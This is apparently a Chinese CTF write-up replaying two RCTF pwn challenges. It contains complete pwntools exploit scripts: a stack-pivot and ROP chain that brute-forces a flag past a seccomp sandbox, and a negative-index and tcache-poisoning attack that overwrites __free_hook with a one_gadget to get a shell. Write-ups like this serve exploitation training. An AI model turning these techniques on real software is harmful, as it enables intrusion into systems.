前言 比赛没时间打,赛后复现几道题目玩玩。
no_write 这道题禁用了write,需要用到栈迁移配合__libc_start_mian来获取syscall以及gadget的多次利用
程序分析 checksec,No PIE、No canary
1 2 3 4 5 6 [*] '/mnt/hgfs/shared/RCTF/pwn/no_write_attachment/no_write' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
查看程序
1 2 3 4 5 6 7 8 int __cdecl main (int argc, const char **argv, const char **envp) { char v4; init(*(_QWORD *)&argc, argv, envp); read_n(&v4, 256 ); return 0 ; }
经典的栈溢出,但是根据题目似乎是禁用了一些函数
seccomp查看沙箱机制
1 2 3 4 5 6 7 8 9 10 11 12 13 14 ➜ no_write_attachment seccomp-tools dump ./no_write line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x08 0xc000003e if (A != ARCH_X86_64) goto 0010 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x06 0x00 0x40000000 if (A >= 0x40000000) goto 0010 0004: 0x15 0x04 0x00 0x00000002 if (A == open) goto 0009 0005: 0x15 0x03 0x00 0x00000000 if (A == read) goto 0009 0006: 0x15 0x02 0x00 0x0000003c if (A == exit) goto 0009 0007: 0x15 0x01 0x00 0x000000e7 if (A == exit_group) goto 0009 0008: 0x06 0x00 0x00 0x00000000 return KILL 0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0010: 0x06 0x00 0x00 0x00000000 return KILL
发现只能使用open、read、exit
此时可以想到,将flag读到bss段上,然后逐个字节爆破。那么问题来了,程序中只有read函数,没有open函数。因此可以进行系统调用,但是程序中不存在syscall,这是就需要得到syscall的地址。
我们发现在调用__libc_start_main时会在栈上留下syscall附近的地址,因此首先可以通过栈迁移将栈迁移到已知地址,例如bss段。这里可以利用pop rbp;leave ret
进行栈迁移
1 2 3 4 5 6 7 read_got = elf.got['read' ] bss = 0x601078 leave_ret = 0x40070b pop_rbp = 0x400588 pay = 'a' *0x18 + csu(read_got,0 ,bss,0x580 ) pay += p64(pop_rbp) + p64(bss+0x4f8 ) + p64(leave_ret)
结果如下:
接下需要调用__libc_start_main
函数,需要说明的是:
此时__libc_start_main函数的返回值为第一个参数
1 2 3 4 5 6 7 8 pop_rdi = 0x400773 pop_rsp = 0x40076d syscall = 0x6014d8 pay = 'flag' pay += '\x00' *(0x500 -len(pay)) pay += csu(elf.got['__libc_start_main' ],pop_rdi,0 ,bss+0x20 ) pay += '\x00' *(0x580 -len(pay))
结果如下:
接下来的思路如下:
将0x6014d8的最低字节改为’\x7f’,使之成为syscall地址
利用read的返回值改写rax的值为2,即open函数的系统调用号
将flag写入bss
然后是爆破flag,可以利用__libc_csu_init中的gadget
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 .text:0000000000400750 loc_400750: ; CODE XREF: __libc_csu_init+54↓j .text:0000000000400750 mov rdx, r15 .text:0000000000400753 mov rsi, r14 .text:0000000000400756 mov edi, r13d .text:0000000000400759 call qword ptr [r12+rbx*8] .text:000000000040075D add rbx, 1 .text:0000000000400761 cmp rbp, rbx .text:0000000000400764 jnz short loc_400750 .text:0000000000400766 .text:0000000000400766 loc_400766: ; CODE XREF: __libc_csu_init+34↑j .text:0000000000400766 add rsp, 8 .text:000000000040076A pop rbx .text:000000000040076B pop rbp .text:000000000040076C pop r12 .text:000000000040076E pop r13 .text:0000000000400770 pop r14 .text:0000000000400772 pop r15 .text:0000000000400774 retn
具体思路如下:
使rbp得值为flag单字节
使rbx为猜测值进行爆破
利用0x40075d处gadget进行比较
完整exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 from pwn import *context.terminal = ['tmux' ,'split' ,'-h' ] def csu (r12,r13,r14,r15) : pay = p64(0x40076a ) pay += p64(0 ) pay += p64(1 ) pay += p64(r12) pay += p64(r13) pay += p64(r14) pay += p64(r15) pay += p64(0x400750 ) pay += '\x00' *0x38 return pay flag = '' for j in range(6 ): i = 47 while (1 ): p = process("./no_write" ) elf = ELF("./no_write" ) read_got = elf.got['read' ] bss = 0x601078 leave_ret = 0x40070b pop_rbp = 0x400588 pay = 'a' *0x18 + csu(read_got,0 ,bss,0x580 ) pay += p64(pop_rbp) + p64(bss+0x4f8 ) + p64(leave_ret) p.send(pay) pop_rdi = 0x400773 pop_rsp = 0x40076d syscall = 0x6014d8 pay = 'flag' pay += '\x00' *(0x38 -len(pay)) pay += csu(read_got,0 ,syscall,0x1 ) pay += csu(read_got,0 ,bss+0x580 ,0x2 ) pay += csu(syscall,bss,0 ,0 ) flag_addr = 0x601318 pay += csu(read_got,3 ,bss+0x580 ,j) pay += csu(read_got,3 ,flag_addr,0x1 ) pay += p64(0x40076a ) + p64(i) + p64(0 )*5 pay += p64(0x40075d ) + p64(0 )*7 pay += csu(read_got,0 ,bss+0x580 ,0x10 )*2 pay += '\x00' *(0x480 -len(pay)) pay += p64(pop_rsp)+p64(0 )*0xf + csu(elf.got['__libc_start_main' ],pop_rdi,0 ,bss+0x20 ) pay += '\x00' *(0x580 -len(pay)) p.send(pay) sleep(0.5 ) p.send('\x7f' ) sleep(0.5 ) p.send('az' ) try : sleep(0.5 ) p.send('a' *0x10 ) p.recv(1 ,timeout=0.5 ) flag += chr(i+1 ) p.close() break except : i += 1 try : p.close() except : pass print(i) print(flag) if i == 53 : break
总结 这道题得难点在于栈帧的控制,需要不断地调试。
note 这道题存在多处漏洞,负数索引、乘法溢出、堆溢出、off by null。这里利用较为简单的负数索引以及乘法溢出来get shell
程序分析 64位程序,保护全开。
1 2 3 4 5 6 7 .data:0000000000004008 off_4008 dq offset off_4008 ; DATA XREF: sub_1260+1B↑r .data:0000000000004008 ; .data:off_4008↓o .data:0000000000004010 qword_4010 dq 996h ; DATA XREF: add+C↑r .data:0000000000004010 ; add+AC↑r ... .data:0000000000004018 dword_4018 dd 1 ; DATA XREF: sub_18D1+18↑r .data:0000000000004018 ; sub_18D1+27↑r ... .data:0000000000004018 _data ends
程序的所有索引都没有检查负数边界,因此可以直接溢出到0x4008处,索引为-5
隐藏功能6会调用malloc,且大小为0x50,add函数则使用calloc
隐藏功能7有32字节溢出
具体思路如下:
show(-5)泄露libc地址,计算出__free_hook和one_gadget
利用隐藏功能7修改tcache
利用隐藏功能6将__free_hook改为one_gadget
完整exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 from pwn import *context.log_level = 'debug' context.terminal = ['tmux' ,'split' ,'-h' ] p = process("./note" ) elf = ELF("./note" ) libc = ELF("/lib/x86_64-linux-gnu/libc-2.30.so" ) s = lambda x,y: p.sendafter(x,y) sl = lambda x,y: p.sendlineafter(x,y) def add (idx,size) : sl("Choice:" ,"1" ) sl("Index:" ,str(idx)) sl("Size:" ,str(size)) def delete (idx) : sl("Choice" ,"2" ) sl("Index:" ,str(idx)) def show (idx) : sl("Choice:" ,"3" ) sl("Index:" ,str(idx)) def edit (idx,msg) : sl("Choice:" ,"4" ) sl("Index:" ,str(idx)) sl("Message:" ,msg) def super_buy (name) : sl("Choice:" ,"6" ) sl("name:" ,name) def edit_more (idx,msg) : sl("Choice:" ,"7" ) sl("Index:" ,str(idx)) s("Message:" ,msg) def gd () : gdb.attach(p) show(-5 ) p.recv(8 ) data_addr = u64(p.recv(8 )) p.recv(16 ) libc_base = u64(p.recv(8 )) - 0x1eb6a0 log.success("data_addr:" +hex(data_addr)) log.success("libc_base:" +hex(libc_base)) free_hook = libc_base + libc.sym['__free_hook' ] one_gadget = libc_base + 0x10afa9 log.success("free_hook:" +hex(free_hook)) log.success("one_gadget:" +hex(one_gadget)) edit(-5 ,p64(data_addr)+p64(0x1000000 )) add(0 ,0x50 ) edit(-5 ,p64(data_addr)+p64(0x1000000 )+'\x01' ) add(1 ,0x50 ) add(2 ,0x50 ) delete(2 ) delete(1 ) edit_more(0 ,'\x00' *0x58 +p64(0x61 )+p64(free_hook)) super_buy("kangel" ) pay = p64(data_addr) + p64(0x1000000 ) pay += p64(0 ) + p64(libc_base+0x1eb6a0 ) pay += p64(0 ) + p64(libc_base+0x1ea980 ) pay += p64(0 ) + p64(libc_base+0x1eb5c0 ) pay += p64(0 )*4 edit(-5 ,pay) super_buy(p64(one_gadget)) delete(1 ) p.interactive()
其他方法 可以利用乘法溢出修改money
使用mmap进行calloc时,不会进行memset,因此可以泄露libc